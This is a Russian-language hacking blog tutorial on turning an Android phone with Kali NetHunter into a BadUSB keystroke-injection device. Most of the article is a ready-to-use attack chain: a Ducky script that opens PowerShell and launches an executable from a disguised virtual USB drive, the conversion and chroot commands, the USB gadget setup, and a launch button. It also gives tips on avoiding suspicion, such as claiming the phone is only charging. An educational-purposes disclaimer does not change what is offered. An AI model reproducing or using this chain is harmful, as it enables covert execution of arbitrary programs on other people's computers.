Используем смартфон как BadUSB

nethunter badusb

Вы наверное уже слышали про BadUSB. Раньше, когда речь шла о BadUSB на ум приходили исклю­читель­но устройства вро­де фле­ш-накопителей. Но возмож­но ли исполь­зовать в качес­тве хакерской флешки BadUSB, смар­тфон на Андроид? Оказывается мож­но — используя Kali NetHunter, мобиль­ной плат­формы для пен­тесте­ров. Сегодня  я покажу, как прев­ратить обычный смартфон в пол­ноцен­ный ана­лог «хакерской флеш­ки».

Еще по теме: BadUSB Rubber Ducky своими руками

Как работает BadUSB

О BadUSB мы рассказывали много раз. Как вы зна­ете, данный тип ата­ки позволяет за маленький промежуток времени выпол­нить дей­ствия на целевом компь­юте­ре.

Происходит это так: в разъ­ем USB встав­ляет­ся заранее под­готов­ленная флеш­ка или обычный кабель USB со встроенным мик­рокон­трол­лером и с специальной про­шив­кой. Эти устрой­ства определяются операционной сис­темой как HID (Human Interface Device), нап­ример как обычная кла­виату­ра. Пос­ле этого по заранее написан­ному сце­нарию эму­лиру­ется ввод команд, как если бы их вводил обычный живой человек, сидящий за компом.

Это удобно если вы пентестер. Плю­сы подобных хакерских девайсов для вас оче­вид­ны.

  1. Не нуж­но садить­ся за комп и этим  прив­лекать к себе вни­мание и вызывать подозрение. Дос­таточ­но просто вста­вить в компьютер обычную флеш­ку или кабель.
  2. Ско­рость авто­мати­чес­кого вво­да команд с помощью хакерской флешки BadUSB намного выше, чем ско­рость ввода команд человеком.

Ата­ка с авто­мати­чес­ким вво­дом тек­ста посредством USB-флешки появи­лась раньше, чем сам тер­мин BadUSB. В далеком 2010 году хакеры Hak5 пред­ста­вили небольшой гаджет в ввиде флешки — Rubber Ducky (резино­вый утен­ок). Кстати, мы писали, как сделать Rubber Ducky своими руками.

смартфон BadUSB
Ши­роко извес­тный в узких кру­гах девайс Rubber Ducky

Это было спе­циаль­ное устройство, которое нап­рямую никак не свя­зано с темой BadUSB. Соз­датели Rubber Ducky создали спе­циаль­ный скрип­товый язык, на котором мож­но было писать сце­нарии. Позже был создан создан сайт, на котором поль­зовате­ли делились своими скрип­тами.

Хакерская флешка телефон
Ре­сурс, на который поль­зовате­ли вык­ладыва­ли собс­твен­ные скрип­ты
Говоря о BadUSB невозможно не упомянуть Bash Bunny. Это неплохая аль­тер­натива Rubber Ducky. Это более улучшенный вари­ант девай­са для HID-атак. Помимо кла­виату­ры, он способен эму­лиро­вать различные устрой­ства.

Хакерская флешка Bash Bunny

О дру­гих хакер­ских гаджетах, которые можно купить, вы можете прочитать в статье «Лучшие хакерские девайсы».

Как правило, при­мене­ние Rubber Ducky и самодель­ных BadUSB сво­дит­ся к получе­нию уда­лен­ного дос­тупа или получению паролей из сис­темы. Школьниками используется избитая схе­ма: залить на файлопомойку вредонос и зап­рограм­мировать BadUSB на его ска­чива­ние и выпол­нение.

В моем случае знакомство с BadUSB произошло при дру­гих обсто­ятель­ствах. Когда-то я установил на телефон Kali NetHunter. Сре­ди богатого функционала NetHunter в ней также есть воз­можность выпопнять скрип­ты при под­клю­чении телефона к компу. Все это хорошо, но вари­ант с залив­кой фай­лов куда‑то вов­не мне не нравится, и я попробал усовершенствовать алго­ритм ата­ки.

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Не автор статьи не редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный с исполь­зовани­ем материалами  из данной статьи. Устройства приведенные в этой статье предназначены для атак, ответственность за их использование несете только вы! Не забывайте, что применение этих знаний во вред карается по закону.

Используем смартфон как BadUSB

Для начала раз­берем­ся с ducky-скрип­тами. В NetHunter для это­го сущес­тву­ет целый раз­дел, но поль­зы от него не очень. Давайте, мы наладим самос­тоятель­но запуск скрип­тов.

В директории /sdcard/nh_files/modules лежит ути­лита duckhunter.py, которая кон­верти­рует скрипт в shell-скрипт. В свою оче­редь, shell-скрипт работа­ет с прог­раммой hid-keyboard, которая непос­редс­твен­но вза­имо­дей­ству­ет с HID-гад­жетом /dev/hidg0, эму­лиру­ющим устрой­ство вво­да. Вот таким образом выг­лядит ути­ная коман­да STRING usb в сыром виде:

echo u | hid-keyboard /dev/hidg0 keyboard
echo s | hid-keyboard /dev/hidg0 keyboard
echo b | hid-keyboard /dev/hidg0 keyboard

После запус­ка скон­верти­рован­ного скрип­та под­клю­чен­ный мобильник нач­нет вво­дить текст на компе.

Теперь давайте перей­дем к час­ти эму­ляции флешки. В начале нам надо соз­дать вир­туаль­ный образ, который нужно будет мон­тировать и на котором будут необходимые для запус­ка фай­лы. Образ соз­дается коман­дой:

dd if=/dev/zero of=demo.img bs=1M count=100 && sync

Но надо еще форматнуть накопи­тель и задать мет­ку тома. Лучше всего для этого подходит ути­лита DriveDroid.

Ис­поль­зуем ути­литу DriveDroid для соз­дания вир­туаль­ного обра­за дис­ка

Соз­дайте в ней образ необ­ходимо­го раз­мера и смон­тируйте в качес­тве смен­ного накопи­теля, отформа­тируйте его штат­ными средс­тва­ми и задайте мет­ку, нап­ример DEMOUSB. Ско­пируйте файл (для при­мера пусть он называ­ется file.exe), который пла­ниру­ете запус­кать, в корень получив­шей­ся флеш­ки.

Пред­став­лю свой вари­ант скрип­та demo.txt, который будет опре­делять бук­ву смон­тирован­ного устрой­ства с необ­ходимой мет­кой и запус­кать с него файл.

DELAY 100
CONTROL ESCAPE
DELAY 2000
STRING powershell
DELAY 500
ENTER
DELAY 2500
STRING For ($i=0; $i -le 20; $i++) {
ENTER
STRING [string]$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label –eq 'DEMOUSB' } | select name
ENTER
STRING if($usbPath.Length -gt 7){[string]$letter = $usbPath.Substring(7,$usbPath.Length - 8)
ENTER
STRING cd $letter
ENTER
STRING ./file.exe
ENTER
STRING break}else {sleep(1)}}
ENTER
STRING exit
ENTER

Код очень прос­той и в ком­мента­риях не нуж­дает­ся. Скон­верти­руем его в shell-фор­мат:

python duckhunter.py demo.txt demo.sh –l us

По­лучив­ший­ся .sh-файл мы будем запус­кать из chroot-окру­жения Kali:

chroot /data/local/nhsystem/kali-armhf sh /root/demo.sh

Те­перь оста­лось смон­тировать наш образ demo.img сле­дующи­ми коман­дами:

# Отключить read-only
echo '0' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/ro
# Установить тип устройства
echo '1' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/removable
# Указать пусть до образа, который следует смонтировать
echo '/sdcard/demo.img' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/file
sleep 1
# Устанавливаем свойство mass_storage для USB
setprop sys.usb.config mass_storage,adb

Весь получив­ший­ся код мож­но соб­рать в ито­говый скрипт badusb.sh и положить в дирек­торию:

/data/data/com.offsec.nethunter/files

Пос­ле чего зай­ти в NetHunter → Custom Commands и соз­дать кноп­ку для запус­ка со сле­дующим содер­жимым:

su –c /data/data/com.offset.nethunter/files/badusb.sh
Со­бира­ем «вир­туаль­ную флеш­ку»
Со­бира­ем «вир­туаль­ную флеш­ку»

Те­перь дос­таточ­но под­клю­чить телефон к компь­юте­ру и нажать кноп­ку стар­та скрип­та — запус­тится PowerShell, а в нем цикл ожи­дания под­клю­чения смен­ного носите­ля с задан­ной мет­кой и исполня­емым фай­лом.

Я опус­тил некото­рые эле­мен­тарные шаги, ведь подоб­ный сце­нарий исполь­зования ата­ки BadUSB пред­полага­ет дос­таточ­ную теоре­тичес­кую и прак­тичес­кую под­готов­ку по юник­сам.

На мой взгляд, телефон луч­ше справ­ляет­ся с этой задачей, чем свис­тки BadUSB. Всег­да мож­но ска­зать, что заряжа­ешь телефон от пер­вого попав­шегося USB, к тому же на телефо­не мож­но дер­жать целый набор скрип­тов и запус­кать любой из них в про­изволь­ном поряд­ке. Никакой воз­ни с переп­рошив­кой!

В завер­шение хочу дать одну малень­кую под­сказ­ку. Все коман­ды нуж­но вво­дить при активной англий­ской рас­клад­ке кла­виату­ры в сис­теме. Если, к при­меру, в момент про­веде­ния ата­ки будет уста­нов­лен рус­ский или любой иной язык, ата­ка не сра­бота­ет. На помощь при­ходят аль­тер­натив­ные коды, которые вво­дят­ся в ком­бинации с зажатой кла­вишей Alt и циф­ровым обоз­начени­ем зна­ка кла­виша­ми NumPad. Спасибо Intercepter!

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *